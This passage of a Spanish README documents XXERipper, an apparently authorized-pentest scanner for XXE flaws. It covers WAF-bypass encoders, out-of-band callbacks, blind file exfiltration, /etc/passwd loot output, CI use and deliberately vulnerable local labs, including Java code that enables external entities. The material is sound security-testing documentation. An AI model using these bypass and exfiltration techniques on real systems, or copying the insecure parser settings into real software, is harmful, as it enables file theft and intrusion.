| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | XML válido. Los WAFs que solo coinciden con `SYSTEM "file://` lo pasan por alto. |
| `public_charref` | Palabra clave `SYSTEM` → referencias de caracteres hexadecimales dentro de una declaración `PUBLIC` | Las referencias de caracteres se expanden dentro de `PubidLiteral` pero no dentro de `SystemLiteral`. El analizador reensambla `SYSTEM` como el ID público; un WAF que coincide con la cadena literal lo pasa por alto. |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | Sonda de evasión, no una primitiva de lectura de archivos: la entidad se resuelve a la *cadena* URI, no al contenido del archivo. Úsala para confirmar que el WAF puede ser derrotado; combínala con un sink a nivel de aplicación para la extracción. |
**Codificadores a nivel de gramática** (XML válido, derrotan a los WAFs perezosos):
| Nombre | Transformación | Notas |
|---|---|---|
| `whitespace_pad` | 512 espacios insertados en la declaración XML | XML permite espacios en blanco arbitrarios entre los pseudo-atributos de la declaración. Los WAFs que inspeccionan solo los primeros N bytes del cuerpo ven una declaración rellenada y nunca llegan al DOCTYPE. |
| `doctype_closure` | Comentario señuelo después de `]>` | Algunos WAFs analizan el DOCTYPE para localizar su final y luego inspeccionan el resto. Insertar un comentario XML después de `]>` puede engañar a ese analizador para que salga antes de tiempo y omita las declaraciones de entidades. El analizador XML ignora el comentario. |
| `pe_stager` | Declaración de entidad reescrita como una cadena de entidades de parámetro | Los WAFs ven `<!ENTITY % stage "…"` y `%stage;` pero nunca el URI `SYSTEM "file://…"` en una sola declaración. El analizador expande `%stage`, que declara la entidad real. Funciona en cualquier analizador que permita entidades de parámetro en el subconjunto interno: Xerces y .NET de fábrica; libxml2 solo si la restricción de PE internas se ha levantado en tiempo de compilación. |
Los codificadores cuya salida es idéntica byte a byte a la entrada en un payload dado se omiten (no se envía ninguna solicitud). Se genera un hallazgo por cada combinación superviviente (payload × codificador) como `XXE-WAF-BYPASS-<ENCODER>` (o `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>` para las familias OOB), o, para las familias OOB, solo cuando llega una devolución de llamada correlacionada.```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
--oob-auto
# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ebcdic --bypass-waf-include-custom
Orden de fases. La fase de evasión de WAF se ejecuta después de las fases principales, no antes. Un objetivo que responde a un payload simple SYSTEM "file://" no necesita que se le envíen primero 1.500 variantes codificadas — las sondas directas lo encuentran en ~20 peticiones, y el barrido codificado es el recurso alternativo para cuando aquellas fueron bloqueadas. La fase sigue usando el mismo catálogo, sigue produciendo los mismos hallazgos y sigue ejecutándose cuando se establece --bypass-waf; simplemente no oculta los aciertos directos detrás del barrido.
Volumen de peticiones. Un catálogo de ~100 payloads × 15 codificadores es ~1.500 peticiones por objetivo en el peor caso. El presupuesto de tiempo real es el único limitador; la fase comprueba la fecha límite antes de cada envío y aborta limpiamente. Para objetivos grandes, es preferible un subconjunto de codificadores con nombre en lugar de --bypass-waf all.
xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--- line)xxeripper https://target.com/api/xml --payload-file my_payloads.xml
xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/
Cada archivo se prueba contra cada objetivo de archivo. Los hallazgos se atribuyen como `XXE-CUSTOM-<filename>`. Las cargas útiles personalizadas se enrutan a través del mismo helper OOB que las fases integradas, por lo que sus subdominios y etiquetas de técnica aparecen en la lista de verificación `[OOB]` (modo manual) o activan callbacks correlacionados (modo automático).
**Cookies e integración con Burp:** la prioridad de las cookies es inline > archivo de cookies > solicitud de Burp. Se admiten tanto el formato Netscape-jar como `key=value`. Las solicitudes de Burp conservan el método y los encabezados de extremo a extremo; los encabezados hop-by-hop y los `Cookie`/`Content-Type` gestionados por el escáner no se reenvían. El esquema se deriva del encabezado `Host`, la línea de versión HTTP y cualquier encabezado `X-Forwarded-Proto` / `Forwarded` / `:scheme` que lleve la solicitud. 443/8443/9443/10443/6443/7443/4443 → HTTPS; 80/8000/8008/8080/8088/8888 → HTTP; puertos desconocidos y solicitudes HTTP/2 → HTTPS por defecto. Los hosts IPv6 se analizan correctamente.
**Repetición previa a la autenticación:** `--pre-auth-request FILE` toma una solicitud en formato Burp, la reproduce una vez contra el objetivo antes de la captura de línea base y fusiona cualquier encabezado `Set-Cookie` en el jar. Repetir el flag reproduce múltiples solicitudes en orden, por lo que funciona un flujo de dos pasos (obtención del token CSRF y luego POST de credenciales). Las cookies de cada repetición están disponibles para la siguiente solicitud de la secuencia.
**Bypass de WAF con personalizaciones:** `--bypass-waf-include-custom` extiende el barrido del codificador a las cargas útiles del usuario. Las personalizaciones que hacen referencia a `{CALLBACK}` o `{DOMAIN}` se omiten (una carga útil OOB codificada no puede correlacionarse a través de un marcador de posición).
---
## Formatos de salida
### JSON (esquema 1.1)```json
{
"schema_version": "1.1",
"tool": "XXE-Ripper",
"summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
"results": [{
"url": "https://target.com/api/xml",
"parser_fingerprint": "libxml2",
"findings": [{
"id": "XXE-INBAND-FILE-READ-linux-passwd",
"severity": "CRITICAL",
"title": "In-band XXE file read: /etc/passwd",
"confirmed": true,
"exploitability": "confirmed",
"cwe": ["CWE-611", "CWE-200"],
"cwe_descriptions": ["...", "..."],
"confidence": 85,
"evidence": {
"file_type": "/etc/passwd",
"indicators_matched": 4,
"score": 85,
"loot_id": "file:9a1c...",
"extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
},
"reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
}],
"loot": [{
"id": "file:9a1c...",
"kind": "file",
"source_path": "/etc/passwd",
"technique": "XXE-INBAND-FILE-READ-linux-passwd",
"content": "root:x:0:0:...",
"size": 2841,
"sha256": "...",
"credentials": []
}],
"loot_counts": { "total": 1, "files": 1, "secrets": 0 },
"oob_payloads_sent": 7,
"oob_subdomains": ["xxe-dns-...oast.pro"],
"oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
}]
}
El campo interno skipped_phases se elimina del JSON serializado — es contabilidad para el informe de cobertura de la terminal, no un hallazgo.
Cada ID de hallazgo se convierte en una regla SARIF con helpUri apuntando a la definición principal de CWE. Cada hallazgo se convierte en un resultado cuyo artifactLocation.uri es la URL objetivo. Los campos adicionales (confidence, cwe, reasons, evidence) viajan en result.properties. Mapeo de severidad: CRITICAL/HIGH → error, MEDIUM → warning, LOW/INFO → note.
--report-html PATH escribe un único archivo HTML autocontenido. Sin enlaces a CDN, sin imágenes externas, sin webfonts. Se abre en cualquier navegador, se renderiza de forma idéntica sin conexión y se imprime limpiamente.
Secciones:
La consola web sirve el mismo informe HTML en línea en /api/jobs/<jid>/report.html (mediante el botón View HTML) y lo descarga desde /api/jobs/<jid>/report.html.download (mediante el botón HTML).
| Veredicto | Significado |
|---|---|
[VULNERABLE] | Al menos un hallazgo con severidad MEDIUM o superior |
[MANUAL-OOB] | Sin hallazgos, pero se enviaron payloads OOB (solo modo manual) |
[INFO-ONLY] | Sin hallazgos, sin payloads OOB, pero al menos una fase fue omitida |
[OK] | Nada que reportar, nada omitido |
| [1/3] [VULNERABLE] https://target.com/api/xml | |
| Parser: libxml2 | |
| [!] 3 phase(s) skipped: |
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd
---
## Fiabilidad y Cobertura
| Característica | Comportamiento |
|---|---|
| Negociación HTTP/2 | `build_session` construye un `httpx.Client` con `http2=True`. El handshake ALPN negocia HTTP/2 donde el servidor lo soporta, y recurre silenciosamente a HTTP/1.1 en caso contrario. Sin configuración por objetivo |
| Aislamiento por fase | Cada fase se ejecuta dentro de `_run_phase`, que captura cualquier excepción, registra el traceback bajo `--debug`, emite un evento `phase_error` y continúa con la siguiente fase |
| Limitación de tasa | `--rate N` impone un intervalo mínimo de `1/N` segundos entre peticiones por objetivo, aplicado por la instancia compartida de `RateLimiter` que consulta cada ruta de envío. Independiente de `--threads` |
| Reintentos y backoff | Los fallos transitorios (`ConnectError`, `RemoteProtocolError`, `ReadError`, `WriteError`, `TimeoutException`) se reintentan tres veces con backoff de 0.5s, 0.75s, 1.125s |
| Respeto de Retry-After | Se respeta en 429 y 503, con un límite de 10s |
| Protección contra respuestas nulas en envíos OOB | Un envío fallido omite la espera de sondeo en lugar de bloquear el escaneo |
| Caché de huellas en disco | `~/.cache/xxeripper/fingerprints.json`. Los escaneos repetidos de la misma URL omiten la secuencia de 9 sondeos. Elimina el archivo o pasa `--no-fingerprint-cache` para invalidarla |
| Presupuesto de tiempo real | `--budget SECONDS` — cada fase comprueba `ctx.expired()` antes de cada envío y aborta limpiamente |
| Cancelación cooperativa | Una llamada a `ScanContext.cancel()` señala a cada fase. La consola web expone esto mediante el botón **Stop** |
| Conmutador TLS | La verificación está desactivada por defecto para uso en pentest; `--verify-tls` la reactiva |
| Códigos de salida de CI | 0 = limpio, 1 = error de configuración, 2 = hallazgo igual o superior a `--fail-on`, 130 = Ctrl-C |
| Hallazgos thread-safe | `add_finding` está protegido por bloqueo y fusiona IDs duplicados in situ — aumentando la severidad, aplicando OR a `confirmed`, tomando `max(confidence)`, uniendo razones y evidencia — en lugar de emitir entradas duplicadas. Cada fusión y cada nuevo hallazgo emite un evento para que la consola web se actualice en vivo |
| Estadísticas OOB thread-safe | `OOBClient.stats()` devuelve una instantánea bloqueada para que el resumen de la CLI lea una vista consistente incluso durante una fase en ejecución |
| Loot deduplicado | `LootStore.add_file` y `LootStore.add_secret` usan como clave el SHA-256 del contenido. Dos hallazgos que recuperan el mismo archivo producen una única entrada de loot |
| Informe de cobertura | Lista de omisiones por objetivo con razones legibles; resumen al final del escaneo de los objetivos con omisiones |
| Caché de huellas en CI | Apunta `HOME` a un directorio de caché persistido para ahorrar 9 peticiones por ejecución. El tamaño de la caché es de aproximadamente 1 KB por URL |
El adaptador de reintentos deliberadamente no reintenta HTTP 500 — los objetivos XXE basados en errores devuelven 500 a propósito, y reintentar oculta la señal.
---
## Integración CI/CD
### GitHub Actions```yaml
- name: XXE scan
run: xxeripper "$TARGET_URL" --oob-auto \
--full-file-scan -o results --format both \
--report-html results.html --fail-on high
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with: { sarif_file: results.sarif, category: xxeripper }
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with: { name: xxe-report, path: results.html }
xxe-scan:
script:
- xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium
- cp report.json gl-sast-report.json
artifacts:
reports: { sast: gl-sast-report.json }
paths: [ report.html ]
when: always
### Almacenamiento en caché de huellas dactilares en CI```yaml
- uses: actions/cache@v4
with:
path: ~/.cache/xxeripper
key: xxeripper-fingerprints-${{ github.ref }}
El tamaño de la caché es de aproximadamente 1 KB por URL y se mantiene estable entre ejecuciones a menos que cambie el parser del objetivo.
Auto OOB en CI. --oob-auto requiere interactsh-client en PATH. En los runners alojados en GitHub, instálalo en un paso de configuración:```yaml
Si tu entorno de CI bloquea el DNS saliente hacia subdominios arbitrarios, usa el modo manual con un servidor Interactsh autoalojado al que tu pipeline pueda acceder.
**Exfiltración ciega en CI.** Para que el pipeline de exfiltración produzca entradas de loot, el runner de CI debe ser accesible desde el objetivo. Eso normalmente significa un runner autoalojado en una red a la que el objetivo pueda acceder, o `--oob-dtd-dir` combinado con un directorio servido externamente desde el que el objetivo pueda obtener contenido. Interactsh por sí solo no funcionará — registra callbacks pero no sirve contenido.
---
## Pruebas contra los laboratorios incluidos
XXERipper incluye dos laboratorios de prueba locales que ejecutan **parsers vulnerables reales** con las mismas configuraciones que despliegan las aplicaciones en producción. No son mocks — cada uno expone una técnica específica para que puedas verificar que el escáner la detecta correctamente, y cada uno incluye endpoints de señuelo para falsos positivos de modo que puedas verificar que *no* reporta en exceso.
Ambos laboratorios se enlazan a `127.0.0.1` y leen archivos locales bajo petición por diseño. **Nunca los expongas a una red que no sea tuya.**
### Inventario de laboratorios
| Laboratorio | Archivo | Stack | Puerto | Qué demuestra |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2, httpx (HTTP/1.1 o HTTP/2 vía ALPN) para todas las obtenciones de entidades salientes | `127.0.0.1:5000` | 54 endpoints en diez familias de técnicas, más contrapartes seguras para cada técnica en alcance y una API de veredictos para puntuación automatizada. Sirve HTTP por defecto; TLS vía `--https` / `--autocert` |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | XXE basado en errores, que el libxml2 moderno bloquea a nivel de C |
### Laboratorio de Python — `xxe_lab.py`
Instala las dependencias del laboratorio (aisladas de los propios requisitos del escáner):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
El laboratorio descarga httpx[http2] por la misma razón que el escáner: las solicitudes salientes de entidades negocian HTTP/2 mediante ALPN cuando el colector OOB o el endpoint de metadatos lo soporta, y recurren silenciosamente a HTTP/1.1 en caso contrario. El Flask entrante es HTTP/1.1 independientemente.```bash
make lab
python3 xxe_lab.py
El laboratorio expone **54 endpoints** en tres clases de veredicto: 36 `vuln`, 17 `safe`, 1 `fn` bait.
### TLS
El laboratorio habla HTTP por defecto. Tres flags activan TLS:
| Flag | Comportamiento |
|---|---|
| `--https` | Sirve sobre TLS. Reutiliza un certificado autofirmado en caché si existe en `$TMPDIR/xxe-lab-certs/`; de lo contrario, genera uno con `openssl`. Reutilizar el certificado en caché entre reinicios mantiene estable cualquier huella TLS del lado del escáner. |
| `--autocert` | Sirve sobre TLS con un certificado autofirmado **recién generado**. Siempre ejecuta `openssl` y sobrescribe el certificado en caché. Implica `--https`. Mutuamente excluyente con `--cert` / `--key`. |
| `--cert PATH` / `--key PATH` | Sirve sobre TLS con un par PEM proporcionado. Ambos deben indicarse juntos. |
`--host` y `--port` sobrescriben la dirección de enlace (por defecto `127.0.0.1:5000`); las variables de entorno `FLASK_HOST` y `FLASK_PORT` se respetan como valores por defecto.```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem [generated (fresh)]
# [*] TLS key: /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.
El certificado generado es RSA-2048, de 365 días, CN=127.0.0.1, subjectAltName=IP:127.0.0.1,DNS:localhost — sin passphrase. Requiere openssl en el PATH (OpenSSL 1.1.1+ para -addext). Si necesitas un certificado sin esas restricciones, pasa --cert / --key en su lugar.
El laboratorio tiene dos modos de respuesta, conmutables por petición:
realistic (por defecto) — imita una aplicación real. Un Content-Type incorrecto devuelve 415, una forma incorrecta recae en el parser (barrera suave) o devuelve un 400 genérico (barrera dura). Sin filtración de motivos. El escáner tiene que distinguir "el objetivo rechazó mi payload" de "el objetivo aceptó pero no resolvió" usando únicamente la forma de la respuesta.
scoped — el modo legacy determinista. Cada cuerpo fuera de alcance devuelve un 200 out of scope: <reason> estable que no parsea nada. Opt-in para suites de regresión donde los vetos de falsos positivos entre técnicas deben ser exactos.
Sobrescribe por petición con una cabecera o un parámetro de consulta:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic
La precedencia es header > parámetro de consulta > valor predeterminado de entorno (`XXE_LAB_MODE`).
### Grupos de endpoints
**Vulnerables sin alcance definido** — aceptan cualquier XML, siempre se analizan con el analizador vulnerable:
| Endpoint | Qué ejercita |
|---|---|
| `POST /xml/vulnerable` | Lectura de archivos en banda, matriz de content-type, integridad de cadena |
| `POST /xml/blind` | Analizador silencioso — resuelve entidades, nunca refleja (solo OOB) |
| `POST /xml/error` | Canal de errores — devuelve trazas del analizador |
| `POST /xml/reflect` | Refleja el cuerpo sin procesar Y analiza — ejercita el veto de reflexión |
| `POST /xml/timing` | Duerme cuando el payload tiene una entidad SYSTEM externa — blind basado en temporización |
**Vectores en banda y de entrega**, **Envelopes**, **Codificaciones**, **Inclusión**, **Fetchers extendidos**, **Formatos de archivo**, **Entidad de parámetro y metadatos**, y **Blind OOB** — la lista completa de endpoints está disponible en <http://127.0.0.1:5000/api/endpoints> o en la propia interfaz del laboratorio en <http://127.0.0.1:5000/>.
### Contrapartes seguras
Cada endpoint vulnerable con alcance definido tiene una contraparte segura que ejecuta la **misma comprobación de alcance** pero analiza con las entidades deshabilitadas y el acceso a la red bloqueado. La nomenclatura es mecánica: `/xml/safe-form` refleja a `/xml/form`, `/xml/safe-xslt` refleja a `/xml/xslt`, y así sucesivamente.
Este diseño existe para que el veto de falsos positivos entre técnicas del escáner pueda probarse de extremo a extremo. Considérese la fase codificada como formulario: el escáner envía XML codificado como formulario a cada objetivo que escanea. Contra `/xml/form` eso produce un hallazgo si el payload se resuelve. Contra `/xml/safe-form` el mismo payload no debería producir nada. Antes de que existieran las contrapartes seguras, un objetivo como `/xml/safe` no tenía ninguna comprobación de alcance de campo de formulario, por lo que el payload codificado como formulario era aceptado y analizado por un endpoint "seguro" — un falso positivo que no era culpa del escáner pero que tampoco era distinguible de uno.
Las contrapartes seguras cierran ese agujero. Hay 13 de ellas:```
/xml/safe-form /xml/safe-query /xml/safe-svg
/xml/safe-saml /xml/safe-soap /xml/safe-multipart
/xml/safe-docx /xml/safe-xinclude /xml/safe-xinclude-xml
/xml/safe-xslt /xml/safe-xsd /xml/safe-xsd-import
/xml/safe-pi
Además, los cuatro cebos base que no realizan comprobaciones de alcance en absoluto:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata
Y un cebo de falso negativo:```
/xml/silent
Un escáner correcto reporta [OK] en los diecisiete. Cualquier hallazgo sobre ellos es un bug del escáner, no un hallazgo.
El laboratorio expone GET /api/verdicts, un mapa JSON de "<method> <path>" a uno de "vuln", "safe" o "fn":```json
{
"POST /xml/vulnerable": "vuln",
"POST /xml/safe": "safe",
"POST /xml/silent": "fn",
...
}
Este es el hook para la puntuación automatizada. Un arnés de pruebas puede capturar los hallazgos del escáner por endpoint, compararlos con el mapa de veredictos y calcular la precisión y la exhaustividad sin analizar HTML ni leer metadatos de endpoints.
### Laboratorio de Java — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001
Endpoint único: POST /xml/error. Devuelve parsed ok en caso de éxito, o XML parse error: <message> en caso de fallo — coincidiendo con una aplicación Java vulnerable que registra str(e).
El laboratorio de Java sigue siendo necesario para la fase de XXE basada en errores. libxml2 2.13 y posteriores bloquean el acceso a DTD externos por defecto, por lo que XXE-ERROR-BASED-MALFORMED no puede dispararse contra el laboratorio de Python. Xerces permite entidades de parámetro del subconjunto interno y dispara el hallazgo sin necesidad de ningún DTD local. El laboratorio habilita las características necesarias explícitamente:```java
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");
> **Nota:** `ACCESS_EXTERNAL_DTD = ""` (cadena vacía) significa *denegar todo*, no permitir todo. Use `"all"` para un parser permisivo.
### Ataque de DTD local — instalar DTDs en el objetivo
`error_based_local_dtd` funciona secuestrando un DTD que ya existe en el sistema de archivos del objetivo. La lista de payloads del escáner hace referencia a ~60 rutas comunes, pero la técnica no puede dispararse contra un sistema de archivos que no tenga ninguna de ellas presente — y el escáner correctamente reporta que no hay hallazgos en ese caso.
Instale paquetes de DTD en el mismo host que ejecuta el laboratorio de Python para que la técnica tenga algo que secuestrar:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl
Windows incluye DTDs de WMI (C:\Windows\System32\wbem\xml\) y DTDs de Office (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll) de forma predeterminada.
macOS incluye /System/Library/DTDs/PropertyList.dtd y sdef.dtd de forma predeterminada.
Una nota sobre libxml2 2.13+. Las versiones modernas de libxml2 endurecieron aún más las reglas: un DTD secuestrable debe declarar la entidad de parámetro por nombre, referenciarla en el nivel superior y no encadenar hacia módulos con PEs anidadas prohibidas. Los archivos docbookx.dtd de DocBook fallan en libxml2 moderno porque incluyen dbcentx.mod, que contiene PEs anidadas prohibidas. fonts.dtd se analiza sin problemas pero no declara las entidades que el escáner intenta secuestrar.
Esta es la razón por la que el laboratorio de Java es el entorno recomendado para demostrar XXE basado en errores.
Cada ejemplo a continuación utiliza http://127.0.0.1:5000. Para ejecutar los mismos escaneos contra el laboratorio a través de TLS, inícialo con --autocert (o --https para reutilizar el certificado en caché) y apunta el escáner a https://127.0.0.1:5000. El escáner desactiva la verificación TLS de forma predeterminada, por lo que no se necesita ningún flag del lado del escáner — un certificado autofirmado funciona sin necesidad de dejar --verify-tls desactivado.```bash
python3 xxe_lab.py --autocert &
xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache
**Opción A — OOB manual.** Dos terminales:
**Terminal A** — inicia el cliente OOB y anota el dominio de sesión:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
Terminal B — ejecuta el laboratorio y los escaneos:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache
for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do
xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache
done
java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache
**Opción B — OOB automático.** Una terminal:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
--oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
Opción C — regresión determinista. Establece XXE_LAB_MODE=scoped antes de iniciar el laboratorio. Cada solicitud fuera de alcance devuelve un cuerpo idéntico, por lo que el veto de no-cambio del escáner se activa de forma determinista y los resultados por endpoint son reproducibles entre ejecuciones. Establece XXE_LAB_NOISE_SEED=1 para que /xml/noise también sea reproducible.
Opción D — exfiltración. Para ejercitar la ruta de exfiltración ciega de extremo a extremo:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache
En la WebUI: inicia la consola con `--serve --host 0.0.0.0`, marca **Serve DTDs from this WebUI** en el panel, proporciona la URL pública de la WebUI, y la misma ruta de exfiltración funciona sin un segundo proceso.
### Interpretación de las brechas de cobertura
La lista de omisiones por objetivo del escáner muestra exactamente lo que no se probó. Pasa el flag indicado para habilitar una fase omitida:```
[!] 4 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
- saml_presig (no SAML-shaped URL segment)
- waf_bypass (no --bypass-waf)
| Fase omitida | Habilitar con |
|---|---|
multipart_docx, svg | --svg |
dos | --unsafe |
timing | --timing |
saml_presig | --saml |
waf_bypass | --bypass-waf |
| Cualquier fase OOB | --oob-domain o --oob-auto |
| Exfiltración ciega | --oob-auto más --oob-listen / --oob-dtd-dir (o el servidor alojado en la WebUI) |
fingerprint | (no pasar --no-fingerprint) |
| — (cambio en la lista de archivos) | --full-file-scan |
Requisitos previos: Python 3.9+, build y hatchling para el empaquetado de Python; makepkg, dpkg-buildpackage/debhelper/dh-python, rpmbuild para los paquetes de distribución.
| Objetivo | Comando | Salida |
|---|---|---|
| Wheel y sdist de Python | make build | dist/*.whl, dist/*.tar.gz |
| Debian | make deb | dist/xxeripper_*.deb |
| RPM | make rpm | dist/xxeripper-*.rpm |
| Arch | make arch | dist/xxeripper-*.pkg.tar.zst |
| Todo | make all | Todo lo anterior |
XXERipper es software libre, licenciado bajo la GNU General Public License v3 o posterior. Distribuido sin ninguna garantía. Consulte https://www.gnu.org/licenses/ para más detalles.
Copyright (C) 2026 Kamal Khalilov.
XXERipper está destinado únicamente a pruebas de seguridad autorizadas. No lo utilice contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas. El escaneo no autorizado puede infringir la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), leyes similares en su jurisdicción y los términos de servicio de los proveedores de la nube. Los autores no se responsabilizan del uso indebido y proporcionan esta herramienta únicamente con fines educativos y de pruebas de seguridad legítimas.
La consola web no tiene autenticación y no debe exponerse a redes no confiables. Manténgala vinculada a 127.0.0.1 (el valor predeterminado), o colóquela detrás de un proxy inverso autenticado.
Autor: Kamal Khalilov — @kamalx06 · [email protected]
Agradecimientos: Interactsh de ProjectDiscovery · PortSwigger Web Security Academy · HackTricks · mohemiv (investigación de XXE basada en errores) · ShadowProbe (inspiración para la línea base) · CWE de MITRE · SARIF de OASIS · la comunidad de seguridad de código abierto.
Construido con: Python · httpx · Flask · Hatchling · Interactsh · SARIF
XXERipper
Escanea de forma más inteligente. Reporta con precisión. Mantente dentro de la ley.